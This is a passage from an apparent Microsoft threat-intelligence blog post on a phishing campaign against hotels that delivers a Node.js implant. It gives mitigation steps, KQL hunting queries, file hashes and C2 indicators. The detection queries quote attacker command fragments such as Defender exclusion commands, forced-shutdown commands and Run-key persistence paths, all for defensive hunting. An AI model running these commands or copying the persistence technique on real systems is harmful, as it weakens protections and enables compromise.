8. Monitor network connections on the observed non-standard ports. Outbound traffic to 8443, 8445, 8453, 5555, 56001, 56002, and 56003, especially when initiated by node.exe or executables from user profile and temporary paths, should be reviewed promptly. 

9. Block or alert on .cfd domains matching the campaign pattern. Wave 2 domains follow a photo-<digits>[.]cfd naming convention. Organizations should consider blocking these patterns and monitoring for DNS queries to recently registered .cfd domains. 

10. Investigate browser automation and forced shutdown patterns. The combination of –headless –no-sandbox and cmd /c shutdown -s -t 0 might indicate late-stage execution on selected hosts. 

11. Use sector-aware hunting. Because Microsoft observed concentration in hospitality and hotel environments across multiple countries, organizations should review devices associated with front desk, reservation, reception, and guest-facing workflows first. 

Microsoft Defender XDR detections 

Microsoft assesses that Microsoft Defender coverage for this campaign is most effective when it combines process, registry, file, and network telemetry rather than relying on blocking individual indicators of compromise (IOCs). 

TonRAT is the campaign’s implant family (validated on the dropped .ps1 and .js payloads). “Wacatac” and “PureRat” are Microsoft Defender detection names that fire on specific binaries in the attack chain (the LNK or PE payload and the ProgramData persistence executable, respectively). 

Beyond signature-based prevention, Microsoft Defender can surface this campaign through behavioral detections, including alerts such as Suspicious Node.js child process execution and Node.js Hidden Run‑Key Persistence, which are designed to identify implant activity even as file names, domains, and script syntax change. 

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.  

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.  

Microsoft Security Copilot 

Microsoft Security Copilot customers can use the following prebuilt promptbooks to support investigation and response for activity related to this campaign: 

• Incident investigation: Summarize incidents and triage alerts related to Node.js persistence, PowerShell decode chains, and registry modification.

• Microsoft User analysis: Profile compromised hospitality accounts (reception, frontdesk, reservations) for scope assessment.

Advanced hunting queries 

Microsoft Defender XDR 

NOTE: The following sample queries lets you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential related indicators for more than a week, go to the Advanced Hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.     

Fake image shortcut execution (both LNK naming patterns) 

This query identifies execution of shortcut files matching the campaign’s photo-themed LNK naming convention across both Wave 1 and Wave 2 patterns. 

DeviceProcessEvents 
| where FileName =~ "explorer.exe" or FileName =~ "cmd.exe" or FileName =~ "powershell.exe" 
| where ProcessCommandLine has ".lnk" 
| where ProcessCommandLine has_any ("IMG-", "PHOTO-") and ProcessCommandLine has ".png.lnk" 
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Node.js implant execution from user-space paths 

This query identifies Node.js execution from the campaign’s characteristic AppData\Local\Nodejs\ staging path with JavaScript payload arguments. 

DeviceProcessEvents 
| where FileName =~ "node.exe" 
| where FolderPath has @"\AppData\Local\Nodejs\" 
| where ProcessCommandLine has ".js" 
| project Timestamp, DeviceName, FolderPath, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

.NET DLL compilation from PowerShell-downloaded scripts (Wave 2) 

This query detects the Wave 2 attack chain expansion where PowerShell scripts trigger dynamic .NET compilation through csc.exe.

DeviceProcessEvents 
| where FileName in~ ("csc.exe", "cvtres.exe") 
| where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe") 
    or InitiatingProcessFolderPath has @"\AppData\Local\Temp\" 
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Defender process exclusions followed by Temp execution 

This query correlates Defender exclusion modifications with subsequent executable launches from temporary paths within a 30-minute window. 

let exclusionEvents = 
DeviceProcessEvents 
| where FileName in~ ("powershell.exe", "pwsh.exe") 
| where ProcessCommandLine has "Add-MpPreference" and ProcessCommandLine has "-ExclusionProcess" 
| project DeviceId, DeviceName, ExclusionTime=Timestamp, ExclusionCmd=ProcessCommandLine; 
let tempExecs = 
DeviceProcessEvents 
| where FolderPath has @"\AppData\Local\Temp\" 
| where FileName endswith ".exe" or ProcessCommandLine has ".exe" 
| project DeviceId, TempExecTime=Timestamp, TempFile=FileName, TempPath=FolderPath, TempCmd=ProcessCommandLine; 
exclusionEvents 
| join kind=inner tempExecs on DeviceId 
| where TempExecTime between (ExclusionTime .. ExclusionTime + 30m) 
| project DeviceName, ExclusionTime, ExclusionCmd, TempExecTime, TempFile, TempPath, TempCmd 
| order by ExclusionTime desc

Installer or unpacker behavior using is-.tmp and silent flags 

This query identifies the campaign’s characteristic use of temporary installer files with silent execution flags. 

DeviceProcessEvents 
| where ProcessCommandLine has @"\is-" and ProcessCommandLine has ".tmp" 
| where ProcessCommandLine has_any ("/SL5", "/VERYSILENT") 
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc 

Registry persistence to Node.js and ProgramData 

This query detects creation or modification of Run or RunOnce values pointing to the campaign’s persistence locations. 

DeviceRegistryEvents 
| where RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\Run" 
    or RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\RunOnce" 
| where RegistryValueData has_any (@"\AppData\Local\Nodejs\", @"\ProgramData\") 
| project Timestamp, DeviceName, ActionType, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Non-standard port beaconing from Node.js or suspicious user-space binaries 

This query identifies network connections on the campaign’s observed C2 ports from suspicious process locations. 

DeviceNetworkEvents 
| where RemotePort in (8443, 8445, 8453, 5555, 56001, 56002, 56003) 
| where InitiatingProcessFileName =~ "node.exe" 
    or InitiatingProcessFolderPath has @"\AppData\Local\Temp\" 
    or InitiatingProcessFolderPath has @"\AppData\Local\Nodejs\" 
    or InitiatingProcessFolderPath has @"\ProgramData\" 
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl 
| order by Timestamp desc

Wave 2 .cfd and .bond domain connections 

This query detects network connections to the campaign’s Wave 2 domain infrastructure. 

DeviceNetworkEvents 
| where RemoteUrl has_any (".cfd", ".bond", ".click") 
| where RemoteUrl has "photo-" or RemoteUrl has_any ("zloapobikahy23", "higoksbupwou", "aluminiostramuntana") 
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Browser automation and forced shutdown on previously affected hosts 

This query identifies late-stage post-compromise behavior on hosts already showing earlier campaign indicators. 

let suspiciousHosts = 
DeviceProcessEvents 
| where FileName =~ "node.exe" and FolderPath has @"\AppData\Local\Nodejs\" 
| distinct DeviceId; 
DeviceProcessEvents 
| where DeviceId in (suspiciousHosts) 
| where ProcessCommandLine has_any ("--headless", "--no-sandbox", "shutdown -s -t 0") 
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Calendly-associated notification infrastructure used in phishing delivery 

This query identifies emails from the campaign’s Calendly-associated subdomain with the characteristic display name. 

EmailEvents 
 | where SenderMailFromDomain =~ "em1618.calendly.com" 
| where SenderMailFromAddress startswith "bounces+13766497-" or SenderDisplayName has "Booking Manager" 
 | project Timestamp, NetworkMessageId, SenderFromAddress, SenderDisplayName, RecipientEmailAddress, Subject, DeliveryAction, DeliveryLocation, ThreatTypes 
 | order by Timestamp desc

share.google redirect token detection in email URLs 

This query detects emails containing share.google redirect URLs, which the campaign uses as an intermediate hop to obscure the final phishing destination. 

EmailUrlInfo 
 | where Url contains "share.google/" 
 | join kind=inner EmailEvents on NetworkMessageId 
 | where SenderMailFromDomain has "calendly" or SenderDisplayName has "Booking" 
 | project Timestamp, NetworkMessageId, SenderFromAddress, RecipientEmailAddress, Subject, Url, DeliveryAction 
 | order by Timestamp desc

Calendly redirect URL phishing detection 

This query identifies emails containing Calendly redirect URLs that match known campaign patterns, including share.google tokens or photo-*.cfd domains. 

EmailUrlInfo 
 | where Url contains "calendly.com/url?q=" 
 | where Url has_any ("share.google", "photo-", ".cfd") 
 | join kind=inner EmailEvents on NetworkMessageId 
 | project Timestamp, NetworkMessageId, SenderFromAddress, SenderDisplayName, RecipientEmailAddress, Subject, Url, DeliveryAction, AuthenticationDetails 
 | order by Timestamp desc

High-frequency file hash hunting (combined Waves 1 and 2) 

This query hunts for all known campaign file hashes across endpoint telemetry.

let hashes = dynamic([ 
    "83e970feb3f10692c164f6889f7a026f135c2433e5bf8e662a6e63a3b81267b7", 
    "06a2888c1f07119873ccb051221bd8717281494b33585f4242556e6e5e227969", 
    "04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1", 
    "1c693bcdaf1da636eb21c274b21cc2f6c52c62ddd514700783eee83fe13acb0a", 
    "2e5fd01b7949a45937b853eabcf4b03195614cf84338dcaaa97240d1c5301ddc", 
    "3f66634f103b80412d1d670b91befab2a74425d2ea76d904c4a7ffae2ae94b44", 
    "63565f15a99769bbcd527a4d53e5cc259d80e1254463ef9c878c2074685558ae", 
    "49cc0e0c3ec060fb354cacee244d4f297aaefb6db66e67a21262d6c4d2eae1bd", 
    "6580de3b74fd635a1d7a887b8f6e5b0c9ac9e90d6e20466ad41489203119cca9", 
 
    "f629311734b7c6e6579f8e1d0e1e3f3bf72c9ac6c301b631ba4df7f393c41b14", 
    "98825c0c7764f45c891275b2f038ea559e84b340df30b41c2cc77b8d4215c6c8", 
    "bd6805782df15e53581096b99bd6bbb81f4d4a5e2d2b30954df63175a4075be9", 
    "89934cb1494cf0327f0ab82fe644c74caf687814379cad116bd7adaca74c1028", 
    "1f8daffec5945a13a1e9231f4a76655d4c7ef4560d0c64ca3abfe48f38297cbd", 
    "9f10e3b6e5745784f26d18c38ce01fba054b19749c17260978ac11472564aee2", 
    "97448688b292bfec6d83b153588076fe59b111c35ac4e42a916238df16a71e2f", 
    "c5baa0c16b0074a1e94b48aa0177e9bfc23746aca8a5b42848a6685da85658b5", 
    "b7f46b192cd83a1d2487cb048cca645f6e8855b9673d500d50bbdb04eebc6bea" 
]); 
DeviceFileEvents 
| where SHA256 in (hashes) 
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Microsoft Sentinel

Microsoft Sentinel customers can use the Microsoft Defender XDR connector to ingest the above queries or leverage the Threat Intelligence Mapping analytics rule to match campaign IOCs against ingested logs. 

MITRE ATT&CK techniques

Indicators of compromise 

Observed C2 IPs and non-standard ports 

Representative observed domains 

Wave 1 domains 

Wave 2 domains  

Microsoft has assigned malicious ratings to these domains, and they are being blocked. 

File hashes 

Key behavioral patterns 

References

• Technical Analysis of Suspicious Emails Targeting the Hotel Industry | SOC Prime
• ITOCHU Cyber & Intelligence

This research is provided by Microsoft Defender Security Research,  Parth Jamodkar, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access appeared first on Microsoft Security Blog.